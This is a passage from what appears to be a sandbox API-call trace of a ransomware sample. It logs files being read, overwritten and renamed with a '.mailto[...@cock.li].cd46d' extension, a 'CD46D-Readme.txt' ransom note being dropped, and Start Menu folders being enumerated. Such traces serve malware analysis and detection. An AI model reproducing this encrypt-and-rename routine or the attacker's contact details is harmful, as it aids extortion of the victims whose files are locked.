Seed=0x10dffa40) returned 0x65e11c07 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x4d5173ec [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x1cb86e [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x32a1a5a8 [0051.005] ReadFile (in: hFile=0xbd8, lpBuffer=0x12db89d0, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0x10dffa30, lpOverlapped=0x0 | out: lpBuffer=0x12db89d0*, lpNumberOfBytesRead=0x10dffa30*=0x143e, lpOverlapped=0x0) returned 1 [0051.005] SetFilePointerEx (in: hFile=0xbd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.005] WriteFile (in: hFile=0xbd8, lpBuffer=0x12dc51d8*, nNumberOfBytesToWrite=0x143e, lpNumberOfBytesWritten=0x10dffa2c, lpOverlapped=0x0 | out: lpBuffer=0x12dc51d8*, lpNumberOfBytesWritten=0x10dffa2c*=0x143e, lpOverlapped=0x0) returned 1 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02b8 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0330) returned 1 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dc51d8) returned 1 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12db89d0) returned 1 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5328) returned 1 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bdc0) returned 1 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x45) returned 0x445090 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bdc0 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5328 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0330) returned 1 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x45) returned 0x444eb0 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d03d0 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03d0) returned 1 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5328) returned 1 [0055.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bdc0) returned 1 [0055.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x129) returned 0x12d05808 [0055.461] SetFilePointerEx (in: hFile=0xbd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.462] WriteFile (in: hFile=0xbd8, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x10dffa94, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0x10dffa94*=0x129, lpOverlapped=0x0) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444eb0) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0330) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445090) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02b8) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460c40) returned 1 [0056.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ce0) returned 1 [0056.721] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460d08) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x10a) returned 0x12d7c2d8 [0056.721] wcscpy (in: _Dest=0x12d7c2d8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" [0056.721] wcscat (in: _Dest=0x12d7c2d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d" [0056.721] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10dffa4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x120) returned 0x12d05808 [0056.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0056.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efc928) returned 1 [0056.722] NtQueryInformationFile (in: FileHandle=0xbd8, IoStatusBlock=0x10dffa58, FileInformation=0x10dffa30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10dffa58, FileInformation=0x10dffa30) returned 0x0 [0056.722] NtSetInformationFile (FileHandle=0xbd8, IoStatusBlock=0x10dffa58, FileInformation=0x10dffa30, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0056.724] FlushFileBuffers (hFile=0xbd8) returned 1 [0056.774] CloseHandle (hObject=0xbd8) returned 1 [0056.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c1e0 [0056.790] wcscpy (in: _Dest=0x45c1e0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0056.790] wcscat (in: _Dest=0x45c1e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" [0056.790] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\cd46d-readme.txt")) returned 0x20 [0056.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c1e0) returned 1 [0056.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00880) returned 1 Thread: id = 675 os_tid = 0x908 [0051.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442e60 [0051.006] wcscpy (in: _Dest=0x442e60, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0051.006] wcscat (in: _Dest=0x442e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" [0051.006] wcscat (in: _Dest=0x442e60, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*" [0051.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.006] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a60 [0051.006] wcscmp (_String1=".", _String2=".") returned 0 [0051.006] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.006] wcscmp (_String1="..", _String2=".") returned 1 [0051.006] wcscmp (_String1="..", _String2="..") returned 0 [0051.006] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0051.006] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0051.006] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0051.006] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 1 [0051.006] wcscmp (_String1="Speech Recognition.lnk", _String2=".") returned 1 [0051.007] wcscmp (_String1="Speech Recognition.lnk", _String2="..") returned 1 [0051.007] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 0 [0051.007] FindClose (in: hFindFile=0x440a60 | out: hFindFile=0x440a60) returned 1 [0051.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0051.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442e60) returned 1 [0051.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4242d0) returned 1 Thread: id = 676 os_tid = 0x904 [0051.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43d888 [0051.008] wcscpy (in: _Dest=0x43d888, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0051.008] wcscat (in: _Dest=0x43d888, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" [0051.008] wcscat (in: _Dest=0x43d888, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*" [0051.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.008] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a60 [0051.008] wcscmp (_String1=".", _String2=".") returned 0 [0051.008] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.008] wcscmp (_String1="..", _String2=".") returned 1 [0051.008] wcscmp (_String1="..", _String2="..") returned 0 [0051.008] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Character Map.lnk", cAlternateFileName="CHARAC~1.LNK")) returned 1 [0051.008] wcscmp (_String1="Character Map.lnk", _String2=".") returned 1 [0051.008] wcscmp (_String1="Character Map.lnk", _String2="..") returned 1 [0051.008] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0051.008] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0051.008] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0051.008] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0051.008] wcscmp (_String1="dfrgui.lnk", _String2=".") returned 1 [0051.008] wcscmp (_String1="dfrgui.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Disk Cleanup.lnk", cAlternateFileName="DISKCL~1.LNK")) returned 1 [0051.009] wcscmp (_String1="Disk Cleanup.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="Disk Cleanup.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource Monitor.lnk", cAlternateFileName="RESOUR~1.LNK")) returned 1 [0051.009] wcscmp (_String1="Resource Monitor.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="Resource Monitor.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Information.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0051.009] wcscmp (_String1="System Information.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="System Information.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Restore.lnk", cAlternateFileName="SYSTEM~2.LNK")) returned 1 [0051.009] wcscmp (_String1="System Restore.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="System Restore.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0051.009] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer Reports.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0051.009] wcscmp (_String1="Windows Easy Transfer Reports.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="Windows Easy Transfer Reports.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0051.009] wcscmp (_String1="Windows Easy Transfer.lnk", _String2=".") returned 1 [0051.009] wcscmp (_String1="Windows Easy Transfer.lnk", _String2="..") returned 1 [0051.009] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0051.009] FindClose (in: hFindFile=0x440a60 | out: hFindFile=0x440a60) returned 1 [0051.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0051.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d888) returned 1 [0051.010] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445670) returned 1 Thread: id = 677 os_tid = 0x900 [0051.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43d888 [0051.010] wcscpy (in: _Dest=0x43d888, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0051.010] wcscat (in: _Dest=0x43d888, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\" [0051.010] wcscat (in: _Dest=0x43d888, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*" [0051.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.011] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a60 [0051.011] wcscmp (_String1=".", _String2=".") returned 0 [0051.011] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.011] wcscmp (_String1="..", _String2=".") returned 1 [0051.011] wcscmp (_String1="..", _String2="..") returned 0 [0051.011] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0051.011] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0051.011] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0051.011] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.lnk", cAlternateFileName="SHAPEC~1.LNK")) returned 1 [0051.011] wcscmp 